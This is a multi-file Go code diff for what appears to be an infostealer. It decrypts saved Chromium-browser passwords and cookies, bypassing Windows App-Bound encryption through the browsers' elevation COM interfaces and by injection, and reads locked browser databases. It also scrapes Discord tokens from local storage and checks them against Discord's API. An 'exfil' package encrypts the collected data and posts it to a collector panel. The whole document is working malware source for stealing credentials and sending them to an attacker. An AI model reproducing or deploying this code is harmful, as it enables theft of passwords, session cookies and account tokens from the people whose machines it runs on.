key := pbkdf2.Key([]byte(password), []byte(darwinChromeSalt), darwinChromeIterations, darwinChromeKeyLen, sha1.New)
return &types.ResolvedKeys{V10: key}, nil
}
func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
if len(encrypted) == 0 {
return ""
}
if len(encrypted) < 3 {
return ""
}
prefix := string(encrypted[:3])
if prefix != "v10" && prefix != "v11" {
return ""
}
key := v10Key
if key == nil || len(key) == 0 {
return ""
}
ciphertext := encrypted[3:]
if len(ciphertext) == 0 || len(ciphertext)%aes.BlockSize != 0 {
return ""
}
plaintext, err := aesCBCDecrypt(key, ciphertext)
if err != nil {
return ""
}
return CleanPassword(plaintext)
}
func aesCBCDecrypt(key, ciphertext []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
iv := make([]byte, aes.BlockSize)
for i := range iv {
iv[i] = 0x20
}
if len(ciphertext) < aes.BlockSize {
return nil, fmt.Errorf("ciphertext too short")
}
mode := cipher.NewCBCDecrypter(block, iv)
plaintext := make([]byte, len(ciphertext))
mode.CryptBlocks(plaintext, ciphertext)
plaintext = pkcs5Unpad(plaintext)
if plaintext == nil {
return nil, fmt.Errorf("invalid padding")
}
return plaintext, nil
}
func pkcs5Unpad(data []byte) []byte {
if len(data) == 0 {
return nil
}
padLen := int(data[len(data)-1])
if padLen == 0 || padLen > aes.BlockSize || padLen > len(data) {
return nil
}
for i := len(data) - padLen; i < len(data); i++ {
if data[i] != byte(padLen) {
return nil
}
}
return data[:len(data)-padLen]
}
func CryptUnprotectData(in []byte) ([]byte, error) {
return nil, fmt.Errorf("DPAPI not available on macOS")
}
@@ -0,0 +1,128 @@
//go:build linux
package crypto
import (
"crypto/aes"
"crypto/cipher"
"crypto/sha1"
"encoding/json"
"fmt"
"os"
"recovery/recovery/browser"
"recovery/recovery/types"
"golang.org/x/crypto/pbkdf2"
)
const (
linuxChromePassword = "peanuts"
linuxChromeSalt = "saltysalt"
linuxChromeIterations = 1
linuxChromeKeyLen = 16
)
func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
if cfg.IsFirefox {
return &types.ResolvedKeys{}, nil
}
localStatePath := browser.LocalStatePath(cfg)
if _, err := os.Stat(localStatePath); err != nil {
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
return &types.ResolvedKeys{V10: key}, nil
}
data, err := os.ReadFile(localStatePath)
if err != nil {
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
return &types.ResolvedKeys{V10: key}, nil
}
var localState map[string]interface{}
if err := json.Unmarshal(data, &localState); err != nil {
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
return &types.ResolvedKeys{V10: key}, nil
}
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
return &types.ResolvedKeys{V10: key}, nil
}
func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
if len(encrypted) == 0 {
return ""
}
if len(encrypted) < 3 {
return ""
}
prefix := string(encrypted[:3])
if prefix != "v10" && prefix != "v11" {
return ""
}
key := v10Key
if key == nil || len(key) == 0 {
return ""
}
ciphertext := encrypted[3:]
if len(ciphertext) == 0 || len(ciphertext)%aes.BlockSize != 0 {
return ""
}
plaintext, err := aesCBCDecrypt(key, ciphertext)
if err != nil {
return ""
}
return CleanPassword(plaintext)
}
func aesCBCDecrypt(key, ciphertext []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
iv := make([]byte, aes.BlockSize)
for i := range iv {
iv[i] = 0x20
}
if len(ciphertext) < aes.BlockSize {
return nil, fmt.Errorf("ciphertext too short")
}
mode := cipher.NewCBCDecrypter(block, iv)
plaintext := make([]byte, len(ciphertext))
mode.CryptBlocks(plaintext, ciphertext)
// PKCS5/PKCS7 unpad
plaintext = pkcs5Unpad(plaintext)
if plaintext == nil {
return nil, fmt.Errorf("invalid padding")
}
return plaintext, nil
}
func pkcs5Unpad(data []byte) []byte {
if len(data) == 0 {
return nil
}
padLen := int(data[len(data)-1])
if padLen == 0 || padLen > aes.BlockSize || padLen > len(data) {
return nil
}
for i := len(data) - padLen; i < len(data); i++ {
if data[i] != byte(padLen) {
return nil
}
}
return data[:len(data)-padLen]
}
func CryptUnprotectData(in []byte) ([]byte, error) {
return nil, fmt.Errorf("DPAPI not available on Linux")
}
@@ -0,0 +1,372 @@
//go:build windows
package crypto
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"encoding/json"
"fmt"
"os"
"syscall"
"unsafe"
"recovery/recovery/browser"
"recovery/recovery/platform"
"recovery/recovery/types"
"golang.org/x/sys/windows"
)
var (
modCrypt32 = windows.NewLazySystemDLL("crypt32.dll")
procCryptUnprotectData = modCrypt32.NewProc("CryptUnprotectData")
)
type dataBlob struct {
cbData uint32
pbData *byte
}
func CryptUnprotectData(in []byte) ([]byte, error) {
var inBlob, outBlob dataBlob
inBlob.cbData = uint32(len(in))
if len(in) > 0 {
inBlob.pbData = &in[0]
}
r, _, err := procCryptUnprotectData.Call(
uintptr(unsafe.Pointer(&inBlob)),
0, 0, 0, 0, 0,
uintptr(unsafe.Pointer(&outBlob)),
)
if r == 0 {
return nil, fmt.Errorf("CryptUnprotectData: %w", err)
}
defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData))))
out := make([]byte, outBlob.cbData)
for i := range out {
out[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(outBlob.pbData)) + uintptr(i)))
}
return out, nil
}
var (
clsidChromeElevator = windows.GUID{
Data1: 0x708860E0, Data2: 0xF641, Data3: 0x4611,
Data4: [8]byte{0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B},
}
iidChromeElevatorV2 = windows.GUID{
Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992,
Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38},
}
iidChromeElevatorV1 = windows.GUID{
Data1: 0x463ABECF, Data2: 0x410D, Data3: 0x407F,
Data4: [8]byte{0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8},
}
clsidEdgeElevator = windows.GUID{
Data1: 0x1FCBE96C, Data2: 0x1697, Data3: 0x43AF,
Data4: [8]byte{0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67},
}
iidEdgeElevator = windows.GUID{
Data1: 0xC9C2B807, Data2: 0x7731, Data3: 0x4F34,
Data4: [8]byte{0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B},
}
clsidBraveElevator = windows.GUID{
Data1: 0x576B31AF, Data2: 0x6369, Data3: 0x4B6B,
Data4: [8]byte{0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B},
}
iidBraveElevatorV2 = windows.GUID{
Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992,
Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38},
}
iidBraveElevatorV1 = windows.GUID{
Data1: 0xF396861E, Data2: 0x0C8E, Data3: 0x4C71,
Data4: [8]byte{0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9},
}
)
func safeV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) (key []byte, err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("COM panic: %v", r)
}
}()
return tryV20KeyViaCOM(cfg, encBlob)
}
func tryV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) ([]byte, error) {
hr := coInitializeEx()
if hr != 0 {
return nil, fmt.Errorf("CoInitializeEx: 0x%08x", hr)
}
defer coUninitialize()
clsid := clsidChromeElevator
iid := iidChromeElevatorV2
if cfg.Name == "Edge" {
clsid = clsidEdgeElevator
iid = iidEdgeElevator
} else if cfg.Name == "Brave" {
clsid = clsidBraveElevator
iid = iidBraveElevatorV2
}
var unknown *IUnknown
hr = coCreateInstance(&clsid, nil, 4, &iid, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
if hr != 0 && cfg.Name == "Chrome" {
hr = coCreateInstance(&clsid, nil, 4, &iidChromeElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
}
if hr != 0 && cfg.Name == "Brave" {
hr = coCreateInstance(&clsid, nil, 4, &iidBraveElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
}
if hr != 0 {
return nil, fmt.Errorf("CoCreateInstance: 0x%08x", hr)
}
defer unknown.Release()
hr = coSetProxyBlanket(unknown)
if hr != 0 {
logf("CoSetProxyBlanket warning: 0x%08x", hr)
}
bstrCipher := sysAllocStringByteLen(encBlob)
if bstrCipher == nil {
return nil, fmt.Errorf("SysAllocStringByteLen failed")
}
defer sysFreeString(bstrCipher)
var bstrPlain *uint16
var lastErr uint32
hr = callDecryptData(unknown, bstrCipher, &bstrPlain, &lastErr)
if hr != 0 || bstrPlain == nil {
return nil, fmt.Errorf("DecryptData: 0x%08x (lastError=%d)", hr, lastErr)
}
defer sysFreeString(bstrPlain)
keyLen := sysStringByteLen(bstrPlain)
if keyLen < 32 {
return nil, fmt.Errorf("decrypted key too short: %d bytes", keyLen)
}
result := make([]byte, 32)
for i := 0; i < 32; i++ {
result[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(bstrPlain)) + uintptr(i)))
}
return result, nil
}
func coInitializeEx() uint32 {
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoInitializeEx").Call(0, 2)
return uint32(r)
}
func coUninitialize() {
windows.NewLazySystemDLL("ole32.dll").NewProc("CoUninitialize").Call()
}
func coCreateInstance(clsid *windows.GUID, unknown *IUnknown, clsCtx uint32, iid *windows.GUID, ppv *unsafe.Pointer) uint32 {
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoCreateInstance").Call(
uintptr(unsafe.Pointer(clsid)),
uintptr(unsafe.Pointer(unknown)),
uintptr(clsCtx),
uintptr(unsafe.Pointer(iid)),
uintptr(unsafe.Pointer(ppv)),
)
return uint32(r)
}
func coSetProxyBlanket(unknown *IUnknown) uint32 {
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoSetProxyBlanket").Call(
uintptr(unsafe.Pointer(unknown)),
0xFFFFFFFF, 0xFFFFFFFF, 0,
6, 4, 0, 0x400,
)
return uint32(r)
}
func sysAllocStringByteLen(b []byte) *uint16 {
if len(b) == 0 {
return nil
}
r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysAllocStringByteLen").Call(
uintptr(unsafe.Pointer(&b[0])),
uintptr(len(b)),
)
return (*uint16)(unsafe.Pointer(r))
}
func sysFreeString(s *uint16) {
if s != nil {
windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysFreeString").Call(uintptr(unsafe.Pointer(s)))
}
}
func sysStringByteLen(s *uint16) int {
r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysStringByteLen").Call(uintptr(unsafe.Pointer(s)))
return int(r)
}
type IUnknown struct {
vtbl *iUnknownVtbl
}
type iUnknownVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
}
func (u *IUnknown) Release() {
syscall.SyscallN(u.vtbl.Release, uintptr(unsafe.Pointer(u)))
}
func callDecryptData(unknown *IUnknown, bstrCipher *uint16, pbstrPlain **uint16, pLastError *uint32) uint32 {
type elevatorVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
RunRecoveryCRXElevated uintptr
EncryptData uintptr
DecryptData uintptr
}
vtbl := (*elevatorVtbl)(unsafe.Pointer(unknown.vtbl))
r, _, _ := syscall.SyscallN(vtbl.DecryptData,
uintptr(unsafe.Pointer(unknown)),
uintptr(unsafe.Pointer(bstrCipher)),
uintptr(unsafe.Pointer(pbstrPlain)),
uintptr(unsafe.Pointer(pLastError)),
)
return uint32(r)
}
func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
if cfg.IsFirefox {
return &types.ResolvedKeys{}, nil
}
keys := &types.ResolvedKeys{}
localStatePath := browser.LocalStatePath(cfg)
data, err := os.ReadFile(localStatePath)
if err != nil {
return nil, fmt.Errorf("read Local State: %w", err)
}
var localState map[string]interface{}
if err := json.Unmarshal(data, &localState); err != nil {
return nil, fmt.Errorf("parse Local State: %w", err)
}
osCrypt, _ := localState["os_crypt"].(map[string]interface{})
if osCrypt == nil {
return nil, fmt.Errorf("no os_crypt section in Local State")
}
if encKey, ok := osCrypt["encrypted_key"].(string); ok && encKey != "" {
decoded, err := base64.StdEncoding.DecodeString(encKey)
if err == nil && len(decoded) > 5 && string(decoded[:5]) == "DPAPI" {
v10Key, err := CryptUnprotectData(decoded[5:])
if err == nil {
keys.V10 = v10Key
logf("resolved V10 (DPAPI) key, %d bytes", len(v10Key))
} else {
logf("V10 DPAPI failed: %v", err)
}
}
}
if appBoundKey, ok := osCrypt["app_bound_encrypted_key"].(string); ok && appBoundKey != "" {
decoded, err := base64.StdEncoding.DecodeString(appBoundKey)
if err == nil && len(decoded) > 4 {
encBlob := decoded[4:]
var v20Key []byte
if platform.ActivePipeSession == nil {
err = fmt.Errorf("no active pipe session")
} else {
encB64 := base64.StdEncoding.EncodeToString(encBlob)
v20Key, err = platform.ActivePipeSession.GetV20Key(cfg.Name, encB64)
}
if err != nil {
if platform.ActivePipeSession == nil {
if cfg.Name != "Chrome" {
logf("V20 via pipe failed (%s): %v, falling back to direct COM", cfg.Name, err)
v20Key, err = safeV20KeyViaCOM(cfg, encBlob)
} else {
logf("V20 via pipe failed (Chrome): %v — COM unsafe without browser session, skipping", err)
err = fmt.Errorf("Chrome V20 requires browser session")
}
} else {
logf("V20 via pipe failed (%s): %v, trying browser-specific injection", cfg.Name, err)
v20Key, err = platform.TryV20KeyViaBrowserSession(cfg.ProcessName, cfg.Name, encBlob)
if err != nil {
logf("browser-specific injection for V20 also failed (%s): %v", cfg.Name, err)
}
}
}
if err == nil {
keys.V20 = v20Key
logf("resolved V20 (App-Bound) key for %s, %d bytes", cfg.Name, len(v20Key))
} else {
logf("V20 key unavailable for %s: %v", cfg.Name, err)
}
}
}
if keys.V10 == nil && keys.V20 == nil {
return nil, fmt.Errorf("could not resolve any master key")
}
return keys, nil
}
func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
if len(encrypted) == 0 {
return ""
}
var key []byte
if len(encrypted) >= 3 {
switch string(encrypted[:3]) {
case "v10", "v11":
key = v10Key
case "v20":
key = v20Key
}
}
if key == nil || len(key) == 0 {
return ""
}
if len(encrypted) < 3+12+16 {
return ""
}
nonce := encrypted[3:15]
tag := encrypted[len(encrypted)-16:]
ciphertext := encrypted[15 : len(encrypted)-16]
plaintext, err := aesGCMDecrypt(key, nonce, ciphertext, tag)
if err != nil {
return ""
}
return CleanPassword(plaintext)
}
func aesGCMDecrypt(key, nonce, ciphertext, tag []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
ctWithTag := make([]byte, len(ciphertext)+len(tag))
copy(ctWithTag, ciphertext)
copy(ctWithTag[len(ciphertext):], tag)
return aesGCM.Open(nil, nonce, ctWithTag, nil)
}
@@ -0,0 +1,7 @@
package crypto
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[crypto] "+format, args...)
}
@@ -0,0 +1,44 @@
package db
import (
"database/sql"
"path/filepath"
"testing"
_ "github.com/mattn/go-sqlite3"
)
func TestOpenDatabaseReadsLiveWAL(t *testing.T) {
dir := t.TempDir()
dbPath := filepath.Join(dir, "Cookies")
live, err := sql.Open("sqlite3", dbPath)
if err != nil {
t.Fatal(err)
}
live.SetMaxOpenConns(1)
defer live.Close()
if _, err := live.Exec("PRAGMA journal_mode=WAL"); err != nil {
t.Fatal(err)
}
if _, err := live.Exec("CREATE TABLE cookies (host_key TEXT, value TEXT)"); err != nil {
t.Fatal(err)
}
if _, err := live.Exec("INSERT INTO cookies VALUES ('example.com', 'secret')"); err != nil {
t.Fatal(err)
}
d, err := OpenDatabase(dbPath, nil)
if err != nil {
t.Fatalf("OpenDatabase: %v", err)
}
defer d.Close()
var n int
if err := d.QueryRow("SELECT COUNT(*) FROM cookies").Scan(&n); err != nil {
t.Fatalf("query: %v", err)
}
if n != 1 {
t.Fatalf("expected 1 cookie row, got %d", n)
}
}
@@ -0,0 +1,122 @@
package db
import (
"context"
"database/sql"
"fmt"
"os"
"path/filepath"
"strings"
"recovery/recovery/platform"
sqlite3 "github.com/mattn/go-sqlite3"
)
func OpenDatabase(dbPath string, pids []uint32) (*sql.DB, error) {
cleanPath := dbPath
if i := strings.IndexByte(dbPath, '?'); i >= 0 {
cleanPath = dbPath[:i]
}
hasWAL := false
if wal, err := os.Stat(cleanPath + "-wal"); err == nil && wal.Size() > 0 {
hasWAL = true
}
if !hasWAL {
uri := fmt.Sprintf("file:%s?mode=ro&nolock=1&immutable=1", dbPath)
if db, err := sql.Open("sqlite3", uri); err == nil {
if err := db.Ping(); err == nil {
logf("opened %s via immutable snapshot", dbPath)
return db, nil
}
db.Close()
}
}
if snapshot, cloneErr := cloneSnapshot(cleanPath, pids); cloneErr == nil {
logf("opened %s via cloned snapshot (%d bytes)", dbPath, len(snapshot))
return OpenDatabaseFromBytes(snapshot)
} else {
logf("clone failed for %s: %v; falling back to direct read", dbPath, cloneErr)
}
data, err := platform.ReadLockedFile(cleanPath, pids)
if err != nil {
return nil, fmt.Errorf("open %s: %w", dbPath, err)
}
logf("opened %s via injected ReadLockedFile (%d bytes)", dbPath, len(data))
return OpenDatabaseFromBytes(data)
}
func cloneSnapshot(dbPath string, pids []uint32) ([]byte, error) {
tmp, err := os.MkdirTemp("", "kematian_db_*")
if err != nil {
return nil, err
}
defer os.RemoveAll(tmp)
clonePath := filepath.Join(tmp, filepath.Base(dbPath))
mainData, err := platform.ReadLockedFile(dbPath, pids)
if err != nil {
return nil, err
}
if err := os.WriteFile(clonePath, mainData, 0600); err != nil {
return nil, err
}
for _, suffix := range []string{"-wal", "-journal"} {
src := dbPath + suffix
if info, err := os.Stat(src); err == nil && info.Size() > 0 {
if data, err := platform.ReadLockedFile(src, pids); err == nil {
if err := os.WriteFile(clonePath+suffix, data, 0600); err != nil {
return nil, err
}
}
}
}
d, err := sql.Open("sqlite3", clonePath)
if err != nil {
return nil, err
}
d.SetMaxOpenConns(1)
if _, err := d.Exec("PRAGMA journal_mode=DELETE"); err != nil {
d.Close()
return nil, err
}
d.Close()
return os.ReadFile(clonePath)
}
func OpenDatabaseFromBytes(data []byte) (*sql.DB, error) {
db, err := sql.Open("sqlite3", ":memory:")
if err != nil {
return nil, err
}
db.SetMaxOpenConns(1)
conn, err := db.Conn(context.Background())
if err != nil {
db.Close()
return nil, err
}
err = conn.Raw(func(driverConn interface{}) error {
sqliteConn, ok := driverConn.(*sqlite3.SQLiteConn)
if !ok {
return fmt.Errorf("not a sqlite3 connection")
}
return sqliteConn.Deserialize(data, "main")
})
conn.Close()
if err != nil {
db.Close()
return nil, fmt.Errorf("deserialize: %w", err)
}
return db, nil
}
@@ -0,0 +1,7 @@
package db
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[db] "+format, args...)
}
@@ -0,0 +1,35 @@
package discord
import (
"net/http"
"regexp"
"time"
"recovery/recovery/types"
)
var TokenRe = regexp.MustCompile(`[\w-]{24,30}\.[\w-]{6}\.[\w-]{27,42}|mfa\.[\w-]{80,95}`)
var EncRe = regexp.MustCompile(`dQw4w9WgXcQ:[^"\\]+`)
var HTTPClient = &http.Client{Timeout: 8 * time.Second}
type DiscordApp struct {
Name string
Dir string
}
func CheckToken(token string) bool {
req, err := http.NewRequest("GET", "https://discord.com/api/v9/users/@me", nil)
if err != nil {
return false
}
req.Header.Set("Authorization", token)
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36")
resp, err := HTTPClient.Do(req)
if err != nil {
return false
}
resp.Body.Close()
return resp.StatusCode == 200
}
type TokenResult = types.DiscordTokenResult
@@ -0,0 +1,184 @@
//go:build !windows
package discord
import (
"crypto/sha1"
"encoding/base64"
"encoding/json"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"sync"
"recovery/recovery/crypto"
"recovery/recovery/platform"
"golang.org/x/crypto/pbkdf2"
)
func discordConfigDir() string {
home, _ := os.UserHomeDir()
if runtime.GOOS == "darwin" {
return filepath.Join(home, "Library", "Application Support")
}
xdg := os.Getenv("XDG_CONFIG_HOME")
if xdg != "" {
return xdg
}
return filepath.Join(home, ".config")
}
func discordV10Key(appDir string) []byte {
data, err := os.ReadFile(filepath.Join(appDir, "Local State"))
if err != nil {
if runtime.GOOS == "linux" {
return pbkdf2.Key([]byte("peanuts"), []byte("saltysalt"), 1, 16, sha1.New)
}
if runtime.GOOS == "darwin" {
return darwinDiscordKey()
}
return nil
}
var state map[string]interface{}
if err := json.Unmarshal(data, &state); err != nil {
return nil
}
osCrypt, _ := state["os_crypt"].(map[string]interface{})
if osCrypt == nil {
return nil
}
encKeyB64, _ := osCrypt["encrypted_key"].(string)
_ = encKeyB64
if runtime.GOOS == "linux" {
return pbkdf2.Key([]byte("peanuts"), []byte("saltysalt"), 1, 16, sha1.New)
}
if runtime.GOOS == "darwin" {
return darwinDiscordKey()
}
return nil
}
func darwinDiscordKey() []byte {
for _, service := range []string{"Chromium Safe Storage", "Chrome Safe Storage"} {
out, err := exec.Command("security", "find-generic-password", "-wa", service).Output()
if err != nil {
continue
}
password := strings.TrimSpace(string(out))
if password != "" {
return pbkdf2.Key([]byte(password), []byte("saltysalt"), 1003, 16, sha1.New)
}
}
return nil
}
var discordApps = []DiscordApp{
{"Discord", "discord"},
{"Discord PTB", "discordptb"},
{"Discord Canary", "discordcanary"},
{"Discord Dev", "discorddevelopment"},
}
func readDiscordFile(path string, pids []uint32) ([]byte, error) {
return platform.ReadLockedFile(path, pids)
}
func ExtractTokens() []TokenResult {
configDir := discordConfigDir()
type candidate struct {
token string
source string
}
seen := make(map[string]struct{})
var candidates []candidate
for _, app := range discordApps {
appDir := filepath.Join(configDir, app.Dir)
leveldb := filepath.Join(appDir, "Local Storage", "leveldb")
entries, err := os.ReadDir(leveldb)
if err != nil {
continue
}
pids, _ := platform.FindProcesses(app.Dir)
for _, e := range entries {
if e.IsDir() {
continue
}
ext := strings.ToLower(filepath.Ext(e.Name()))
if ext != ".log" && ext != ".ldb" {
continue
}
data, err := readDiscordFile(filepath.Join(leveldb, e.Name()), pids)
if err != nil {
continue
}
for _, m := range TokenRe.FindAll(data, -1) {
tok := string(m)
if _, dup := seen[tok]; !dup {
seen[tok] = struct{}{}
candidates = append(candidates, candidate{tok, app.Name})
}
}
for _, m := range EncRe.FindAll(data, -1) {
raw := string(m)
colonIdx := strings.Index(raw, ":")
if colonIdx < 0 {
continue
}
blob, err := base64.StdEncoding.DecodeString(raw[colonIdx+1:])
if err != nil {
continue
}
key := discordV10Key(appDir)
if key == nil {
continue
}
tok := crypto.DecryptChromiumBlob(blob, key, nil)
if tok == "" || !TokenRe.MatchString(tok) {
continue
}
if _, dup := seen[tok]; !dup {
seen[tok] = struct{}{}
candidates = append(candidates, candidate{tok, app.Name})
}
}
}
}
if len(candidates) == 0 {
return nil
}
valid := make([]bool, len(candidates))
var wg sync.WaitGroup
sem := make(chan struct{}, 6)
for i, c := range candidates {
wg.Add(1)
go func(idx int, tok string) {
defer wg.Done()
sem <- struct{}{}
valid[idx] = CheckToken(tok)
<-sem
}(i, c.token)
}
wg.Wait()
var out []TokenResult
for i, c := range candidates {
if valid[i] {
out = append(out, TokenResult{Token: c.token, Source: c.source})
}
}
return out
}
@@ -0,0 +1,171 @@
//go:build windows
package discord
import (
"encoding/base64"
"encoding/json"
"os"
"path/filepath"
"strings"
"sync"
"recovery/recovery/crypto"
"recovery/recovery/platform"
)
var discordApps = []DiscordApp{
{"Discord", "discord"},
{"Discord PTB", "discordptb"},
{"Discord Canary", "discordcanary"},
{"Discord Dev", "discorddevelopment"},
}
func discordV10Key(appDir string) []byte {
data, err := os.ReadFile(filepath.Join(appDir, "Local State"))
if err != nil {
return nil
}
var state map[string]interface{}
if err := json.Unmarshal(data, &state); err != nil {
return nil
}
osCrypt, _ := state["os_crypt"].(map[string]interface{})
if osCrypt == nil {
return nil
}
encKeyB64, _ := osCrypt["encrypted_key"].(string)
if encKeyB64 == "" {
return nil
}
encKey, err := base64.StdEncoding.DecodeString(encKeyB64)
if err != nil || len(encKey) <= 5 {
return nil
}
key, err := crypto.CryptUnprotectData(encKey[5:])
if err != nil {
return nil
}
return key
}
var discordExeNames = map[string]string{
"discord": "Discord.exe",
"discordptb": "DiscordPTB.exe",
"discordcanary": "DiscordCanary.exe",
"discorddevelopment": "DiscordDevelopment.exe",
}
func readDiscordFile(path string, pids []uint32) ([]byte, error) {
return platform.ReadLockedFile(path, pids)
}
func ExtractTokens() []TokenResult {
appdata := os.Getenv("APPDATA")
if appdata == "" {
return nil
}
type candidate struct {
token string
source string
}
seen := make(map[string]struct{})
var candidates []candidate
for _, app := range discordApps {
appDir := filepath.Join(appdata, app.Dir)
leveldb := filepath.Join(appDir, "Local Storage", "leveldb")
entries, err := os.ReadDir(leveldb)
if err != nil {
continue
}
exeName := discordExeNames[app.Dir]
pids, _ := platform.FindProcesses(exeName)
var v10Key []byte
keyOnce := sync.Once{}
getKey := func() []byte {
keyOnce.Do(func() { v10Key = discordV10Key(appDir) })
return v10Key
}
for _, e := range entries {
if e.IsDir() {
continue
}
ext := strings.ToLower(filepath.Ext(e.Name()))
if ext != ".log" && ext != ".ldb" {
continue
}
data, err := readDiscordFile(filepath.Join(leveldb, e.Name()), pids)
if err != nil {
continue
}
for _, m := range TokenRe.FindAll(data, -1) {
tok := string(m)
if _, dup := seen[tok]; !dup {
seen[tok] = struct{}{}
candidates = append(candidates, candidate{tok, app.Name})
}
}
for _, m := range EncRe.FindAll(data, -1) {
raw := string(m)
colonIdx := strings.Index(raw, ":")
if colonIdx < 0 {
continue
}
blob, err := base64.StdEncoding.DecodeString(raw[colonIdx+1:])
if err != nil {
continue
}
key := getKey()
if key == nil {
continue
}
tok := crypto.DecryptChromiumBlob(blob, key, nil)
if tok == "" || !TokenRe.MatchString(tok) {
continue
}
if _, dup := seen[tok]; !dup {
seen[tok] = struct{}{}
candidates = append(candidates, candidate{tok, app.Name})
}
}
}
}
if len(candidates) == 0 {
logf("no candidate tokens found")
return nil
}
logf("found %d candidate tokens", len(candidates))
valid := make([]bool, len(candidates))
var wg sync.WaitGroup
sem := make(chan struct{}, 6)
for i, c := range candidates {
wg.Add(1)
go func(idx int, tok string) {
defer wg.Done()
sem <- struct{}{}
valid[idx] = CheckToken(tok)
<-sem
}(i, c.token)
}
wg.Wait()
var out []TokenResult
for i, c := range candidates {
if valid[i] {
out = append(out, TokenResult{Token: c.token, Source: c.source})
}
}
logf("%d/%d tokens validated", len(out), len(candidates))
return out
}
@@ -0,0 +1,7 @@
package discord
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[discord] "+format, args...)
}
@@ -0,0 +1,248 @@
package exfil
import (
"bytes"
"crypto/ecdh"
"crypto/rand"
"crypto/sha256"
"encoding/base64"
"encoding/hex"
"context"
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"runtime"
"strings"
"time"
"golang.org/x/crypto/chacha20poly1305"
"golang.org/x/crypto/hkdf"
"recovery/recovery/types"
)
// PANEL_ENDPOINT is where the collector panel lives. URL + key are baked at
// build time (see build_final.bat or set here).
// PANEL_PUBKEY is the panel's E2EE public key (hex). Get it from /e2ee/pub on
// the panel. Only this public key is needed to post; decryption needs the
// private key that only the panel holds.
var (
PanelEndpoint = "http://127.0.0.1:5000/api/ingest"
PanelPubKey = ""
// Ingest key must match PANEL_INGEST_KEY on the panel.
PanelAuth = "CHANGE-ME"
)
const (
e2eeSalt = "kematian-e2ee-salt"
e2eeInfo = "kematian-e2ee-v1"
)
// e2eeSeal encrypts plaintext toward the panel's public key.
// Wire format: base64( ephemeral_pub(32) || nonce(12) || ciphertext )
func e2eeSeal(plaintext []byte) (string, error) {
pkBytes, err := hex.DecodeString(PanelPubKey)
if err != nil || len(pkBytes) != 32 {
return "", fmt.Errorf("invalid panel public key: %v", err)
}
curve := ecdh.X25519()
panelPub, err := curve.NewPublicKey(pkBytes)
if err != nil {
return "", err
}
ephPriv, err := curve.GenerateKey(rand.Reader)
if err != nil {
return "", err
}
shared, err := ephPriv.ECDH(panelPub)
if err != nil {
return "", err
}
// HKDF-SHA256(shared, salt, info) -> 32-byte key
r := hkdf.New(sha256.New, shared, []byte(e2eeSalt), []byte(e2eeInfo))
key := make([]byte, chacha20poly1305.KeySize)
if _, err := io.ReadFull(r, key); err != nil {
return "", err
}
aead, err := chacha20poly1305.New(key)
if err != nil {
return "", err
}
nonce := make([]byte, aead.NonceSize())
if _, err := rand.Read(nonce); err != nil {
return "", err
}
ct := aead.Seal(nil, nonce, plaintext, nil)
wire := append(ephPriv.PublicKey().Bytes(), nonce...)
wire = append(wire, ct...)
return base64.StdEncoding.EncodeToString(wire), nil
}
// ensurePubKey fetches the panel's E2EE public key at runtime if it isn't
// already embedded. This removes the need to paste the key at build time: only
